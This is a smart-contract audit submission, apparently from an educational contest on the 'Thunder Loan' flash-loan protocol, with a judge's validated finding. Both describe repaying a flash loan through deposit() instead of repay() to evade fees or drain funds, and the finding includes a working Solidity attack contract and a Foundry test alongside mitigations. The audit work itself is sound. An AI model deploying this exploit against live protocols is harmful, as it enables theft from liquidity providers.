Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

Attackers can bypass flash loan fees by calling deposit() instead of repay() during the flash loan callback

Root + Impact

The attacker bypasses the flash loan fee by returning the borrowed
funds through deposit() instead of repay(), exploiting the fact that
the contract only checks the final balance but ignores how the funds
got there. This makes the flash loan free, eliminating the liquidity
providers' yield.

Description

The contract checks the final balance; it verifies that enough tokens
were returned, but it cannot determine whether they came through repay()
or deposit(). The attacker repays the flash loan using deposit(), which
satisfies the solvency check and returns the tokens to the AssetToken
contract. But unlike repay(), deposit() also mints AssetToken shares to
the caller. After the flash loan completes, the attacker calls redeem()
to burn those shares and withdraw the full amount, paying zero fees.

Risk

Likelihood: High. Any smart contract taking a flash loan can call deposit() instead of repay() inside the callback. No special permissions or conditions are required.

Impact: High. Flash loans become entirely free. Liquidity providers lose all expected yield from flash loan fees. Repeated exploitation drains the protocol of its fee revenue.

Proof of Concept

The following test demonstrates how an attacker deposits during a flash loan instead of repaying, then redeems to recover the full amount:

function testFlashLoanFeeBypass() public {
    vm.startPrank(liquidityProvider);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(IERC20(address(tokenA)), 1000e18);
    vm.stopPrank();

    // Attacker takes flash loan of 500 tokens
    // Inside executeOperation callback:
    //   tokenA.approve(address(thunderLoan), amount + fee);
    //   thunderLoan.deposit(tokenA, amount + fee);
    // Balance check passes because AssetToken received the funds
    // But attacker now holds AssetToken shares

    // After flash loan completes:
    //   thunderLoan.redeem(tokenA, type(uint256).max);
    // Attacker recovers all funds. Fee paid = 0.

Recommended Mitigation

Block deposits during an active flash loan by checking the s_currentlyFlashLoaning mapping at the start of the deposit function:

function deposit(IERC20 token, uint256 amount) external {
  • if (s_currentlyFlashLoaning[token]) {
    
  •     revert ThunderLoan__DepositNotAllowedDuringFlashLoan();
    
  • }
    AssetToken assetToken = s_tokenToAssetToken[token];
    // ...
    

    }

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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